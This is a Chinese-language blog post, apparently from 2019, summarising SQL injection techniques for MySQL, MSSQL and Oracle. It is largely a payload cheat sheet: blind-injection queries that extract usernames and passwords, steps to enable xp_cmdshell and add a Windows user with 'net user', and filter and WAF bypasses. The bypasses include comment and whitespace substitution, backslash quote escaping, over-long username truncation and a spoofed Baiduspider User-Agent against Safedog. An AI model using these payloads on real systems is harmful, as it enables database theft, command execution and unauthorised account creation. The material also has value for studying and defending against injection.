注入总结

注入总结

参考链接

MYSQL

有时使用union注入时,会出现一些乱码,如下解决

convert(@@version using latin1)
unhex(hex(@@version))

注释符

井号(#) 双横线 (-- )后面要加一个空格 /**/ 局部注释 %00 直接截断字符串 `反引号

关键字转义符

波浪线那个键,的那个小点符号- -!

insert into app (name,`key`,secret,status) values ('aa','bb',null,2);

联合查询

from后面无需添加表名,会自动判断字符与整形,如 union select 1,2,3 不用写成 union select 1,‘2’,‘3’

可使用 order by n来判断字段数,用法语ACCESS类似

附属查询

不支持 top 支持 limint

字符串函数

字符串连接 使用CONCAT() 数字使用加号

mysql> SELECT 1+"1";
    -> 2
mysql> SELECT CONCAT(2,' test');
    -> '2 test'

子字符串SUBSTRING(str,pos,len)

mysql> select SUBSTRING('Quadratically',5,6);
    -> 'ratica'

字符串长度Lenhth()

mysql> slect length('aaa')
    -> 3

ASCII值ASCII()

mysql> select ASCII('2');
    -> 50

CHAR()将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。NULL值被跳过。

mysql> select CHAR(77,121,83,81,'76');
    -> 'MySQL'
mysql> select CHAR(77,77.3,'77.3');
    -> 'MMM'

LOCATE(substr IN str)
返回子串substr在字符串str第一个出现的位置,如果substr不是在str里面,返回0.

mysql> select LOCATE('bar', 'foobarbar');
    -> 4
mysql> select LOCATE('xbar', 'foobar');
    -> 0

盲注语句

普通盲注语句

 and (select count(*) from user)>0
 and (select count(pass) from user)>0
 and ascii(substring((select pass from user limit 0,1),1,1)) >0

文艺盲主语句

 and (select 1 from users limit 0,1)=1
 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

MSSQL

附属查询

支持 top 不支持 limint

字符串函数

length() 返回字符串长度

concat() 连接字符串

substring() 求子串
charindex ( expression1 , expression2 [ , start_location ] ) 查询字符串位置

ASCII()

char()

存储过程扩展

调用存储过程的时候 master..xp_cmdshell 是 master.dbo.xp_cmdshell 的简写

这里xp 是extended procedure sp 是system procedure

xp_cmdshell

判断过程是否存在

select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

开启存储过程

exec sp_configure 'show advanced option', 1;
reconfigure;
exec sp_configure 'xp_cmdshell' , 1;
reconfigure;

运行cmd指令

exec master..xp_cmdshell "net user wyl 123 /add";

移除存储过程的方法

 exec   master..sp_dropextendedproc   xp_cmdshell   
 exec   master..sp_dropextendedproc   xp_dirtree   

恢复存储过程的方法

exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 
exec sp_addextendedproc 'xp_dirtree', 'xpstar.dll' 

详细http://blog.csdn.net/gz775/article/details/6329817

盲注语句

and (select count(pass) from [user])>0  
and (select count(*) from [user])>0  
and substring((select top 1 pass from [user] ),1,1)>'0'

ORCALE数据库

oracle不支持limit,支持一个很奇怪的rownum

SQL> select test.*,rownum from test;
 select * from (select test.*,rownum from test) where rownum>2;
select * from (select test.*,rownum as ron from test) where ron>2;

技巧篇

注释

(1)

这个在Mysql中/**/这种注释可以代替,空格来使用,可以构造出这种的语句

 select/**/*/**/from/**/te/**/order/**/by/**/1;

(2)

这个mysql还有一个神奇的特性就是/!xxxxxxx/会被当做语句执行,那么可以构造出这种语句

/*!select*//**/*/**//*!from*//**//*!te*/;

mysql保持这种奇怪的语法,是为了兼容性,因为mysql的一些扩展功能,其他数据库不支持,放在/!/中自己执行别人不执行。

(3)

/%00/有的时候可以绕过一些,基于字符串的过滤,而且并不影响语句执行。

变量

mysql中有一个特性就是变量@xxxxx 如果没有定义并不会报错而是会返回一个null,很多过滤代码不会检查单引号之间的部分,可以这样构造。

select * from te where `id`=@`'` union select @`'`,2,3,4 from te;

有的时候字段要求Not Null需要这样构造

select * from te where `2`=1 union select char(@`'`),2,3,4 from te;

空格

如果空格被过滤了,有一些办法可以绕过,这些方法通常也能绕过一些WAP,在某些版本的mysql可以使用括号大法来绕过。

select(1),(2)union(select(2),(3)from(information_schema))

如果是高版本,可以使用一些蛋疼的字符来替代空格

RDBMS Allowed whitespaces 
SQLite 3 0A, 0D, 0C, 09, 20 
MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20 
Oracle 11g 00, 09, 0A, 0B, 0C, 0D, 20 
MSSQL 2008 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 
19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 25 
Table 8: Valid whitespaces allowed in different RDBMS. 

这个图片出自这篇文章

https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-WP.pdf

这篇文章还讲到几个比较有趣的用法,在盲注的时候可以使用这种语句来把所有结果都显示

MySQL SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) 
WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] 
>',table_name,' > ',column_name))))x 
MSSQL SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') 
PostgreSQL SELECT array_to_json(array_agg(tables))::text FROM (SELECT schemaname, relname FROM 
pg_stat_user_tables) AS tables LIMIT 1; 
Oracle SELECT xmlagg(xmlelement(“user”, login||’:’||pass) ORDER BY login).getStringVal() FROM 
users; 
Table 5: Different queries which retrieve multiple table & column entries with a single request. 

使用注释符--的时候如果后面不加空格,会被当做加号来使用

mysql> select 1--1--2;
+---------+
| 1--1--2 |
+---------+
|       4 |
+---------+
1 row in set (0.00 sec)

反斜杠绕过

有的时候单引号被过滤的情况下,如果转义符没有被过滤,我们可以使用转义符来去掉一个单引号,达到注入的目的

比如在id处存在注入点

where id='xxxxxx' and name='xxxxxx'

我们可以构造这样的注入语句使查询语句变成

where id='xxxxx\' and name=' union select xxxxx #'

比如htmlentities()这个函数就不会过滤反斜杠,但是谁会用它来做SQL注入的过滤那····:(


超长变量截断

这个mysql数据库对待超过存储长度的数据只会爆一个warming

mysql> insert into test values('admin                               x');
Query OK, 1 row affected, 1 warning (0.03 sec)

而在where比较的时候mysql是忽略空格的,这个技巧可以用来注册相同名字的用户

userAgent绕过安全狗

这个原理就是,把userAgent改造成百度蜘蛛的Agent,便可以绕过一部分安全钩的检测

User-Agent:Baiduspider
posted @ 2019-07-12 22:28  tomyyyyy  阅读(317)  评论(0编辑  收藏  举报